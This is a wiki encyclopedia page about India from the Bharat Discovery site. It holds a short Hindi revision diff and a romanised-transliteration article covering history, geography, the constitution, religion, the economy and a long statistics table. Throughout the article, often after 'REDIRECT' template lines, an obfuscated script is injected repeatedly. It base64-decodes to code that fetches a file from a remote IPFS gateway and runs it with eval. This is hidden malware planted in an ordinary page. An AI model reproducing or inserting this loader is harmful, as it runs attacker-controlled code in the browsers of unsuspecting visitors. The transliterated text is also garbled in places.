Difference between revisions of "भारत"

भारत डिस्कवरी प्रस्तुति
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==इतिहास==
 
==इतिहास==
 
{{मुख्य|भारत का इतिहास}}
 
{{मुख्य|भारत का इतिहास}}
−
[[भारत]] में मानवीय कार्यकलाप के जो प्राचीनतम चिह्न अब तक मिले हैं, वे 4,00,000 ई. पू. और 2,00,000 ई. पू. के बीच दूसरे और तीसरे हिम-युगों के संधिकाल के हैं और वे इस बात के साक्ष्य प्रस्तुत करते हैं कि उस समय पत्थर के उपकरण काम में लाए जाते थे। इसके पश्चात् एक लम्बे अरसे तक विकास मन्द गति से होता रहा, जिसमें अन्तिम समय में जाकर तीव्रता आई और उसकी परिणति 2300 ई. पू. के लगभग सिन्धु घाटी की आलीशान सभ्यता (अथवा नवीनतम नामकरण के अनुसार हड़प्पा संस्कृति) के रूप में हुई। [[हड़प्पा]] की पूर्ववर्ती संस्कृतियाँ हैं: [[बलूचिस्तान|बलूचिस्तानी पहाड़ियों]] के गाँवों की कुल्ली संस्कृति और [[राजस्थान]] तथा [[पंजाब]] की नदियों के किनारे बसे कुछ ग्राम-समुदायों की संस्कृति।<ref>पुस्तक 'भारत का इतिहास' रोमिला थापर) पृष्ठ संख्या-19</ref>
+
[[भारत]] में मानवीय कार्यकलाप के जो प्राचीनतम चिह्न अब तक मिले हैं, वे 4,00,000 ई. पू. और 2,00,000 ई. पू. के बीच दूसरे और तीसरे हिम-युगों के संधिकाल के हैं और वे इस बात के साक्ष्य प्रस्तुत करते हैं कि उस समय पत्थर के उपकरण काम में लाए जाते थे। इसके पश्चात् एक लम्बे अरसे तक विकास मन्द गति से होता रहा, जिसमें अन्तिम समय में जाकर तीव्रता आई और उसकी परिणति 2300 ई. पू. के लगभग सिन्धु घाटी की आलीशान सभ्यता (अथवा नवीनतम नामकरण के अनुसार हड़प्पा संस्कृति) के रूप में हुई। [[हड़प्पा]] की पूर्ववर्ती संस्कृतियाँ हैं: [[बलूचिस्तान|बलूचिस्तानी पहाड़ियों]] के गाँवों की [[कुल्ली संस्कृति]] और [[राजस्थान]] तथा [[पंजाब]] की नदियों के किनारे बसे कुछ ग्राम-समुदायों की संस्कृति।<ref>पुस्तक 'भारत का इतिहास' रोमिला थापर) पृष्ठ संख्या-19</ref>
 
==भौतिक विशेषताएँ==
 
==भौतिक विशेषताएँ==
 
मुख्‍य भूभाग में चार क्षेत्र हैं, नामत: महापर्वत क्षेत्र, [[गंगा नदी|गंगा]] और [[सिंधु नदी]] के मैदानी क्षेत्र और मरूस्‍थली क्षेत्र और दक्षिणी प्रायद्वीप।
 
मुख्‍य भूभाग में चार क्षेत्र हैं, नामत: महापर्वत क्षेत्र, [[गंगा नदी|गंगा]] और [[सिंधु नदी]] के मैदानी क्षेत्र और मरूस्‍थली क्षेत्र और दक्षिणी प्रायद्वीप।

Revision as of 11:29, 8 February 2012

bharat vishay soochi
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bharat ganarajy
Republic of India
India-Flag.jpg Emblem-of-India.png
bharat ka dhvaj bharat ka kulachihn
rashtravaky: "satyamev jayate" (sanskrit) saty hi vijayi hota hai[1]
rashtragan: jan gan man
bharat ki sthiti
rajadhani nee dilli
28° 34′ N 77° 12′ E
sabase b de nagar dilli, mumbee, kolakata aur chennee
rajabhasha(ean) hindi sangh ki rajabhasha hai,
aangrezi "sahayak rajabhasha" hai.
any bhashaean baangla, gujarati, kann d, malayalam, marathi aur any
sarakar prakar ganarajy
draupadi murmoo
veankaiya nayadoo
om bi dala
narendr modi
di. vaee. chandrachoo d
vidhayika
-upari sadan
-nichala sadan
 bharatiy sansad
rajy sabha
lok sabha
svatantrata
tithi
ganarajy
sanyukt rajashahi se
15 agast, 1947
26 janavari, 1950
kshetraphal
 - kul
 
 - jaliy (%) 		 
32,87,263 kimi² (satavaan)
12,22,559 mil² 
9.56
janasankhya
 - 2011
 - 2001 janaganana
 - janasankhya ghanatv 		 
1,21,01,93,422[2] (dvitiy)
1,02,70,15,248
382[2]/kimi² (27 vaan)
954[3]/ mil² 
sakal ghareloo utpad (pipipi)
 - kul
 - prativyakti 		2012 anuman
$4,824 arab[4] 
$3,944[4] 
sakal ghareloo utpad (saanketik)
 - kul
 - prativyakti 		2012 anuman
$1,779 arab[4] 
$1,454[4] 
manav vikas sanketaank (echadiaee) 0.547 (134 vian) – madhyam
mudra bharatiy rupaya 14px (aienar (INR))
samay mandal
 - grishm rritu (delait seviang taim) 		aiesati (IST) (UTC+5:30)
anusaran nahian kiya jata (UTC+5:30)
iantaranet tieladi .in
vahan chalate haian baean
doorabhash kod ++91
any mahatvapoorn janakari
simaoan mean sthit desh uttar pashchim mean afaganistan aur pakistan, uttar mean bhootan aur nepal; poorab mean myaanmar, baangladesh. shrilanka bharat se samudr ke sankirn nahar dvara alag kiya jata hai jo palk stret aur mannar ki kha di dvara nirmit hai.
samudr tat 7,516.6 kilomitar jisamean mukhy bhoomi, lakshadvip aur andaman aur nikobar dvipasamooh shamil haian.
jalavayu sardi (disambar-faravari); garmi (march-joon); dakshin pashchim manasoon ka mausam (joon-sitambar); manasoon pashch mausam (aktoobar-navambar)
bhoo-bhag mukhy bhoomi mean char kshetr haian- gret maunten jon, ganga aur siandhu ka maidan, registan kshetr aur dakshini peniansula.
prakritik sansadhan koyala, lauh ayask, maiganij ayask, maika, b aauksait, petroliyam, taitaniyam ayask, kromait, prakritik gais, maiganesait, choona patthar, arabal lend, dolomait, maoolin, jipsam, apadait, phosaphorait, stitail, phlorait adi.
prakritik apada manasooni badh, phlesh badh, bhookamp, sookha, zamin khisakana.
janasankhya vriddhi dar ausat varshik ghataanki vriddhi dar varsh 2001-2011 ke dauran 1.64 pratishat hai.
liang anupat 1000:940 (2011)
dharm varsh 2001 ki janaganana ke anusar 1,028 miliyan desh ki kul janasankhya mean se 80.5 pratishat ke sath hinduoan ki adhikaanshata hai doosare sthan par 13.4 pratishat ki janasankhya vale muslim isake bad eesaee, sikh, bauddh, jain aur any ate haian.
saksharata 74.04% (2011) purush- 82.14% mahilaean- 65.46%
sambhavit jivan dar 65.8 varsh (purush); 68.1 varsh (mahila)[5]
jatiy anupat sabhi paanch mukhy prakar ki jatiyaan- aaustreliyad, moangol aauyad, yoorop aauyad, kokosin aur nigroid.
karyapalika shakha bharat ka rashtrapati desh ka pradhan hota hai, jabaki pradhanamantri sarakar ka pramukh hota hai aur mantriparishadh ki sahayata se shasan chalata hai jo mantrimandal mantralay ka gathan karate haian.
nyayapalika shakha bharat ka sarvochch nyayalay bharatiy kanoon vyavastha ka shirsh nikay hai isake bad any uchch nyayalay aur adhinasth nyayalay ate haian.
any janakari bharat ka rashtriy dhvaj ayatakar tiranga hai jisamean kesariya oopar hai, bich mean safed, aur barabar bhag mean niche gahara hara hai. safed patti ke kendr mean gahara nila chakr hai jo saranath mean ashok chakr ko darshata hai.
bahari k diyaan bharat ki adhikarik vebasait
adyatan‎
13:23, 11 navambar 2022 (IST)

bharat [sampoorn prabhutasanpann samajavadi dharmanirapeksh lokataantrik ganarajy bharat. (aangrezi: India)] duniyaan ki sabase purani sabhh‍yataoan mean se ek hai, jo 4,000 se adhik varshoan se chali a rahi hai aur jisane anek riti-rivazoan aur paramh‍paraoan ka sangam dekha hai. yah desh ki samriddh sansh‍kriti aur virasat ka parichayak hai. azadi ke bad 77 varshoan mean bharat ne samajik aur arthik pragati ki hai. bharat krishi mean ath‍manirbhar desh hai aur audyogikaran mean bhi vishv ke chune hue deshoan mean bhi isaki ginati ki jati hai. yah un deshoan mean se ek hai, jo chaand par pahuanch chuke haian aur paramanu shakti sanpann haian.

{{#icon: Redirect-01.gif|dhyan dean}}vistar mean padhane ke lie dekhean:bharat alekh

itihas

mukhy lekh : bharat ka itihas

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat mean manaviy karyakalap ke jo prachinatam chihn ab tak mile haian, ve 4,00,000 ee. poo. aur 2,00,000 ee. poo. ke bich doosare aur tisare him-yugoan ke sandhikal ke haian aur ve is bat ke sakshy prastut karate haian ki us samay patthar ke upakaran kam mean lae jate the. isake pashchath ek lambe arase tak vikas mand gati se hota raha, jisamean antim samay mean jakar tivrata aee aur usaki parinati 2300 ee. poo. ke lagabhag sindhu ghati ki alishan sabhyata (athava navinatam namakaran ke anusar h dappa sanskriti) ke roop mean huee. h dappa ki poorvavarti sanskritiyaan haian: baloochistani paha diyoan ke gaanvoan ki kulli sanskriti aur rajasthan tatha panjab ki nadiyoan ke kinare base kuchh gram-samudayoan ki sanskriti.[6]

bhautik visheshataean

mukhh‍y bhoobhag mean char kshetr haian, namat: mahaparvat kshetr, ganga aur siandhu nadi ke maidani kshetr aur maroosh‍thali kshetr aur dakshini prayadvip.

himalay ki tin shrriankhalaean haian, jo lagabhag samanaantar phaili huee haian. isake bich b de - b de pathar aur ghatiyaan haian, inamean kashmir aur kulh‍loo jaisi kuchh ghatiyaan upajaoo, vish‍trit aur prakritik sauandary se bharapoor haian. sansar ki sabase ooanchi chotiyoan mean se kuchh inh‍hian parvat shrriankhalaoan mean haian. adhik ooanchaee ke karan ana -jana keval kuchh hi darroan se ho pata hai, jinamean mukhh‍y haian -

  • chuanbi ghati se hote hue mukhh‍y bharat-tibh‍bat vh‍yapar marg par jelap la aur nathoo-la darre
  • uttar-poorv darjiliang
  • kalh‍pana (kinh‍naur) ke uttar - poorv mean sataluj ghati mean shipaki la darra

bhoogarbhiy sanrachana

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ke bhoo‍vaijnanik kshetr vh‍yapak rup se bhautik visheshataoan ka palan karate haian aur inh‍hean mukhyat: tin kshetroan ke samooh mean rakha ja sakata hai:

  1. himalay parvat shrriankhala aur unake sanbaddh parvat samooh.
  2. bharat-ganga maidan kshetr.
  3. prayadvipiy kshetr.

bharat ka sanvidhan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ka sanvidhan 26 janavari, 1950 ko lagoo hua. isaka nirman sanvidhan sabha ne kiya tha, jisaki pahali baithak 9 disambar, 1946 ko huee thi. sanvidhan sabha ne 26 navambar, 1949 ko sanvidhan ko aangikar kar liya tha. sanvidhan sabha ki pahali baithak avibhajit bharat ke lie bulaee gee thi. 4 agast, 1947 ko sanvidhan sabha ki baithak punah huee aur usake adhyaksh sachchidanand sinha the. sinha ke nidhan ke bad d aau. rajendr prasad sanvidhan sabha ke adhyaksh bane. faravari 1948 mean sanvidhan ka masauda prakashit hua. 26 navambar, 1949 ko sanvidhan antim roop mean svikrit hua aur 26 janavari 1950 ko lagoo hua.

dharm

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy sanskriti mean vibhinnata usaka bhooshan hai. yahaan hindoo dharm ke aganit roopoan aur sanpradayoan ke atirikt, bauddh, jain, sikkh, islam, eesaee, yahoodi adi dharmoan ki vividhata ka bhi ek saanskritik samayojan dekhane ko milata hai. hindoo dharm ke vividh sampraday evan mat sare desh mean phaile hue haian, jaise vaidik dharm, shaiv, vaishnav, shakt adi pauranik dharm, radha-ballabh sanpraday, shri sanpraday, ary samaj, samaj adi. parantu in sabhi matavadoan mean sanatan dharm ki ekarasata khandit n hokar vividh roopoan mean gathit hoti hai. yahaan ke nivasiyoan mean bhasha ki vividhata bhi is desh ki moolabhoot saanskritik ekata ke lie badhak n hokar sadhak pratit hoti hai.

arthavyavastha

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy arthavh‍yavash‍tha kray shakti samanata ke adhar par duniya mean chauthi sabase b di arthavh‍yavash‍tha hai. yah vishal janashakti adhar, vividh prakritik sansadhanoan aur sashakh‍t vrihat arthavh‍yavash‍tha ke moolabhoot tath‍voan ke karan vh‍yavasay aur nivesh ke avasaroan ke sabase adhik akarshak gantavh‍yoan mean se ek hai. varsh 1991 mean aranbh ki gee arthik sudharoan ki prakriya se samh‍poorn arthavh‍yavash‍tha mean phaile nitigat dhaanche ke udarikaran ke madhh‍yam se ek niveshak anukool parivesh milata raha hai. bharat ko azad hue 77 sal ho chuke haian aur is dauran bharatiy arthavyavastha ki dasha mean zabaradast badalav aya hai. audyogik vikas ne arthavyavastha ka roop badal diya hai. aj bharat ki ginati duniya ki sabase tezi se badhati arthavyavasthaoan mean hoti hai. vishv ki arthavyavastha ko chalane mean bharat ki bhoomika badhati ja rahi hai. aeeti sॅktar mean poori duniya bharat ka loha manati hai.

krishi

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

krishi bharat ki arthavyavastha ki ridh mani jati hai. vibhinn panchavarshiy yojanaoan dvara chalae ja rahe vibhinn karyakramoan evan prayasoan se krishi ko rashtriy arthavyavastha mean garimapoorn darja mila hai. krishi kshetroan mean lagabhag 64% shramikoan ko rojagar mila hua hai. 1950-51 mean kul ghareloo utpad mean krishi ka hissa 59.2% tha jo ghatakar 1982-83 mean 36.4% aur 1990-91 mean 34.9% tatha 2001-2002 mean 25% rah gaya. yah 2006-07 ki avadhi ke dauran ausat adhar par ghatakar 18.5% rah gaya. dasavian yojana (2002-2007) ke dauran samagr sakal ghareloo utpad ki ausat varshik vriddhi pad 7.6% thi jabaki is dauran krishi tatha sambaddh kshetr ki varshik vriddhi dar 2.3% rahi. 2001-02 se praranbh huee nav sahastrabdi ke pratham 6 varshoan mean 3.0% ki varshik samany ausat vriddhi dar 2003-04 mean 10% aur 2005-06 mean 6% ki rahi.

khanij sanpada

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

svatantrata prapti ke pashchat bharat mean khanijoan ke utpadan mean nirantar vriddhi huee hai. koyala, lauh, ayask, b aauksaid adi ka utpadan nirantar badha hai. 1951 mean sirf 83 karo d rupaye ke khanijoan ka khanan hua tha, parantu 1970-71 mean inaki matra badhakar 490 karo d rupaye ho gee. agale 20 varshoan mean khanijoan ke utpadan mean abhootapoorv vriddhi huee. 2001-02 mean nikale gaye khanijoan ka kul mooly 58,516.36 karo d rupaye tak pahuanch gaya jabaki 2005-06 ke dauran kul 75,121.61 karo d rupaye mooly ke khanijoan ka utpadan kiya gaya. yadi matra ki drishti se dekha jaye, to bharat mean khanijoan ki matra mean lagabhag tiguni vriddhi huee hai, usaka 50% bhag sirf petroliyam aur prakritik gais ke karan tatha 40% koyala ke karan hua hai.

raksha

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ki raksha niti ka pramukh uddeshy yah hai ki bharatiy upamahadvip mean use badhava diya jae evan sthayitv pradan kiya jae tatha desh ki raksha senaoan ko paryapt roop se susajjit kiya jae, taki ve kisi bhi akraman se desh ki raksha kar sakean. varsh 1946 ke poorv bharatiy raksha ka poora niyantran aangrezoan ke hathoan mean tha. usi varsh keandr mean aantarim sarakar mean pahali bar ek bharatiy desh ke raksha mantri baladev sianh bane. halaanki kamaandar-in-chiph ek aangrez hi raha . 1947 mean desh ka vibhajan hone par bharat ko 45 rejimeantean milian, jinamean 2.5 lakh sainik the. shesh rejimeant pakistan chali gayian. gorakha fauj ki 6 rejimeantan (lagabhag 25,000 sainik) bhi bharat ko milian. shesh gorakha sainik british sena mean sammilit ho gaye. british sena ki aantim tuk di samarasait lait inphaiantri ki pahali bataliyan ho gayi. british sena ki aantim tuk di samarasait lait inphaiantri ki pahali bataliyan bharatiy bhoomi se 28 faravari, 1948 ko svadesh ravana huee.

pashu pakshi jagat

aank de ek jhalak

kshetraphal 32,87,263 varg kimi.[7]
-bhoomadhy rekha se doori [8] 876 kimi
-poorv se pashchim lanbaee 2,933 kimi
-uttar se dakshin lanbaee 3,214 kimi
-pradeshik jalasima ki chau daee samudr tat se 12 samudri mil tak.
-ekantik arthik kshetr sanlagn kshetr se age 200 samudri mil tak.
sima 7 desh aur 2 mahasagar[9]
-samudri sima[10] 7516.5 kimi
-prakritik bhag (1) uttar ka parvatiy pradesh (2) uttar ka vishal maidan (3) dakshin ka prayadvipiy pathar (4) samudr tatiy maidan tatha (5) thar marusthal
-sthaliy sima[11] 15,200 kimi
rajy 29
-sanghashasit kshetr[12] 7
-ziloan ki sankhya 593
-upaziloan ki sankhya 5,470
-sabase b da zila laddakh (jammoo-kashmir, kshetraphal 82,665 varg kimi.).
-sabase chhota zila thaubॅl (manipur, kshetraphal- 507 varg kimi.).
-dvipoan ki kul sankhya 247 [13]
-tatarekha se lage rajy gujarat, maharashtr, gova, karnatak, keral, tamilanadu, aandhr pradesh, u disa aur pashchim bangal.
-kendrashasit pradesh (tatarekha) daman v div, dadara evan nagar haveli, lakshadvip, paandicheri tatha aandaman evan nikobar dvip samooh.
-kark rekha [14] gujarat, rajasthan, madhyapradesh, chhattisagadh, jharakhand, pashchim bangal, tripura tatha mizoram.
-pramukh nagar mumbee, nee dilli, kolakata, chennee, beangalor, haidarabad, tiruanantapuram, sikandarabad, kanapur, ahamadabad, jayapur, jodhapur, amritasar, chanh‍digadh, shrinagar, jammoo, shimala, disapur, itanagar, kochin, agara adi.
-rajadhani nee dilli.
-parvatiy paryatan almo da, nainital, lainsadaun, gadhamukteshvar, masoori, kasauli, shimala, kulloo ghati, dalahauzi, shrinagar, gulabarg, sonamarg, amaranath, pahalagam, darjiliang, kalianpoang, raanchi, shilaang, kuanjur, ootakamand (ooti), mahabaleshvar, panchamadhi, maunt aboo.
-pratham shreni ke nagaroan ki sankhya 300
-dvitiy shreni ke nagaroan ki sankhya 345
-tritiy shreni ke nagaroan ki sankhya 947
-chaturth shreni ke nagaroan ki sankhya 1,167
-pancham shreni ke nagaroan ki sankhya 740
-shashtham shreni ke nagaroan ki sankhya 197
-kul nagaroan ki sankhya 5,161
-sarvadhik nagaroan vala rajy uttar pradesh (704 nagar)
-sabase kam nagar vala rajy meghalay (7 nagar)
-sarvadhik nagariy janasankhya vala rajy uttar pradesh (3,45,39,582), mizoram (45.10%)
-sabase kam nagariy janasankhya vala rajy sikkim (59,870), himachal pradesh (8.69%)
-sanghashasit kshetr sarvadhik janasankhya[15] dilli 89.93%
-sangh shasit kshetr kam janasankhya [16] dadara tatha nagar haveli (8.47%)
-sanghashasit kshetr (sabase b da)[17] aandaman evan nikobar dvipasamooh (8,293 varg kimi.)
-sabase chhota sangh shasit kshetr lakshadvip (32 varg kimi.)
-shaharoan ki sankhya 5,161
-gaanvoan ki sankhya 6,38,588
-abad gaanvoan ki sankhya 5,93,732
-gair-abad gaanvoan ki sankhya 44,856
-samudrik matsyayan ka pramukh kshetr pashchimi tat (75% tatha poorvi tat (25%) [18]
-sabase b da rajy (kshetraphal) rajasthan (3,42,239 varg kimi.)
-sabase chhota rajy gova (3,702 varg kimi.)
bhoogol
-pramukh parvat himalay, karakoram, shivalik, aravali, pashchimi ghat, poorvi ghat, vindhyachal, satapu da, annamalaee, nilagiri, palani, nallamala, maikal, ilayachi.
-pramukh nadiyaan sindhu, satalaj, brahmaputr, ganga, yamuna, godavari, damodar, narmada, tapti, krishnaa, kaveri, mahanadi, ghaghara, gomati, ramaganga, chambal adi.
-parvat shikhar gadavin astin ya maunt ke 2 (8,611 mi.), kanchanajangha (8,598 mi.), nanga parvat (8,126 mi.), nandadevi (7,717 mi.), kamet (7,756 mi.), makaloo (8,078 mi.), annapoorna (8,078 mi.), manasaloo (8,156 mi.), badrinath, kedaranath, trishool, mana, gangotri, gurushikhar, mahendragiri, anaeemudi adi.
-jhil dal, vular, naini, satatal, nagin, saanbhar, didavana, chilka, husain sagar, vembanad adi.
-jalavayu manasooni
-vanakshetr 750 lakh hekteyar [19]
-pramukh mittiyaan jalodh, kali, lal, pili, laiterait, marusthaliy, parvatiy, namakin evan pit tatha daladali.
-sianchaee [20] naharean (40.0%) kuean (37.8%), talab (14.5%) tatha any (7.7%).
-krishi ke prakar tar kheti [21], ardr kheti [22], jhoom krishi [23] tatha parvatiy krishi [24].
-khadyann fasalean chaval, gehooan, jvar, bajara, ragi, jau adi.
-naqadi fasalean ganna, chay, kafi, rab d, nariyal, phal evan sabjiyaan, dalean, tambakoo, kapas tatha tilahani fasalean.
-khanij sansadhan lauh ayask, koyala, maianganij, abhrak, b aauksait, choonapatthar, yooreniyam, sona, chaandi, hira, khanij tel adi.
janasankhya 1,028,610,328 (2001) [25]
-purush janasankhya 53,21,56,772
-mahila janasankhya 49,64,53,556
-anusoochit jati [26] 16,66,35,700 (kul janasankhya ka 16.2%)
-anusoochit janajati [27] 8,43,26,240 (kul janasankhya ka 8.2%)
-pramukh janajatiyaan gaddi, gujjar, tharoo, bhotiya, mipuri, riyana, lepcha, mina, bhil, garasiya, koli, mahadevi, koankana, santhal, muanda, uraanv, baiga, koya, goand adi.
-vishv mean sthan (janasankhya) doosara
-vishv janasankhya ka pratishat 16.87%
-janasankhya ghanatv 324 vyakti prati varg kimi
-janasankhya vriddhi dar (dashak) 21.54% (1991-2001)
-ausat vriddhi dar [28] 1.95%
-lianganupat ♀/♂ 933 : 1000
-raj bhasha hindi [29]
-prati vyakti ay 27,786 ru0 (2007-08)
arthavyavastha
-niryat ki vastuean ianjiniyari upakaran, masale, tambakoo, cham de ka saman, chay, lauh ayask adi.
-ayat ki vastuean rasayan, mashinari, upakaran, urvarak, khanij tel adi.
-vyapar sahayogi sanyukt rajy amerika, briten, naye rashtroan ke rashtrakul (si.aee.es.) ke desh, japan, itali, jarmani, poorvi yooropiy desh.
-rashtriyakrit baiankoan ki sankhya 20
-telashodhanashalaoan ki sankhya 13
-kul udyamoan ki sankhya 4,212 karo d (krishi mean sanlagn udyamoan ke atirikt)
-udyam (gramin kshetr) 2,581 karo d (krishi mean sanlagn udyamoan ke atirikt)
-udyam (shahari kshetr) 1,631 karo d (38.7%).
-krishi kary ka pratishat [30] 15%
-gair-krishi kary ka pratishat [31] 85%
-udyam (10 ya adhik kamagar) 5.83 lakh [32]
-sarvadhik udyam (paanch rajy) tamilanadu-4446999 (10.56%), maharashtr- 4374764 (10.39%), pashchim bangal- 4285688 (10.17%), aandhr pradesh- 4023411 (9.55%), uttar pradesh- 4015926 (9.53%).
-sarvadhik udyam (kendr shasit) dilli-753795(1.79%), chandigadh- 65906 (0.16%), pandicheri-49915 (0.12%).
-pramukh udyog lauh-ispat, jalayan nirman, motar vahan, saikil, sootivastr, ooni vastr, reshami vastr, vayuyan, urvarak, davaean evan aushadhiyaan, relave ianjan, rel ke dibbe, joot, kagaz, chini, siment, matsyayan, cham da udyog, shisha, bhari evan halke rasayanik udyog tatha rab d udyog.
-b de bandaragahoan ki sankhya 12 b de evan 139 chhote bandaragah.
-pramukh bandaragah mumbee, nhava sheva, kalakatta, haldiya, gova, kochin, kaandala, chennee, nyoo mangalor, tootikorin, vishakhapatanam, majhagaanv, aleppi, bhatakal, bhavanagar, kalikat, kakinada, kudaloor, dhanushakodi, paradvip, gopalapur.
-pashchimi tat pramukh bandaragah kaandala, muanbee, marmugaoan, nyoo mangalaur, kochin aur javaharalal neharoo
-poorvi tat ke pramukh bandaragah tootikorin, chennee, vishakhapattanam, paradip aur kolakata- haldiya.
-purana bandaragah (poorvi tat) chennee
-sabase gahara bandaragah vishakhapattanam
-karyashil vyaktiyoan ki sankhya 31.5 karo d, mukhy shramik- 28.5 karo d, simant shramik- 3,0 karo d
-taje jal ki machhaliyaan s aau-phish, laivaphish, phaidarabaiank, eankavi, eel, bata, reva, tor, chitala, katala, miangal, milkaphish, karp, parlashat adi.
parivahan
-jal parivahan kolakata (kendriy antardeshiy jal parivahan nigam ka mukhyalay)
-s dak marg ki kul lambaee 33,19,664 kimi.
-rashtriy rajamargoan ki sankhya sankhyanusar 109 jabaki kul 143 (lagabhag 19 nirmanadhin).
-rashtriy rajamargoan ki kul lambaee 66,590 kimi.
-sabase lamba rashtriy rajamarg rajamarg sankhya 7 (lanbaee- 2369 kimi varanasi se kanyakumari)
-rashtriy rajamarg (svarn chaturbhuj) 5,846 kimi (yojana ke aantargat shamil rashtriy rajamargoan ki kul lambaee)
-rashtriy rajamarg (uttar-dakshin k aaurid aaur) 7,300 kimi (yojana aantargat shamil rashtriy rajamargoan ki kul lambaee)
-relamarg 63,465 kimi.
-relave parimandaloan ki sankhya 16
-sabase b da relave parimandal uttar relave (11,023 kimi., mukhyalay- nee dilli)
-relave steshanoan ki sankhya lagabhag 7,133 (31 march, 2006 tak)
-rel yatriyoan ki sankhya 50,927 lakh pratidin (2002-03)
-rel ianjanoan ki sankhya</ref> 8,025 (march, 2006).
-rel savari dibboan ki sankhya 42,570 (2001)
-rel mal dibboan ki sankhya 2,22,147 (2001)
-yatri relaga diyoan ki sankhya 44,090
-any savari rel ga diyaan 5,990
-antarrashtriy havaee addoan ki sankhya paanch [33]
-mukt akashiy havaee adda gaya (bihar)
-prastavit aantarrashtriy havaee adde bangalaur, haidarabad, ahamadabad, gova, amritasar, guvahati evan kochin.
any
-jiv-jantu (anumanit) 75,000 jinamean ubhayachar- 2,500, sarisrip- 450, pakshi- 2,000 tatha stanapayi- 850
-rashtriy udyan 70
-vany prani vihar 412
-prani udyan 35
-rashtriy pratik rashtradhvaj- tiranga
-rajachinh sianhashirsh (saranath)
-rashtr gan jan gan man [34]
-rashtriy git vande mataramh [35]
-rashtriy pashu bagh (paianthar taigris).
-rashtriy pakshi mayoor (pavo kristeshas).
-svatantrata divas 15 agast
-ganatantr divas 26 janavari
  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vany jivan prakriti ki amooly den hai. bhavishy mean vany praniyoan ki samapti ki ashanka ke karan bharat mean sarvapratham 7 julaee, 1955 ko vany prani divas manaya gaya . yah bhi nirnay liya gaya ki pratyek varsh do aktoobar se poore saptah tak vany prani saptah manaya jaega. varsh 1956 se vany prani saptah manaya ja raha hai. bharat ke sanrakshan karyakram ki avashyakataoan ko poora karane ke lie ek mazaboot sansthagat dhaanche ki rachana ki gayi hai.

bharatiy bhasha parivar

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

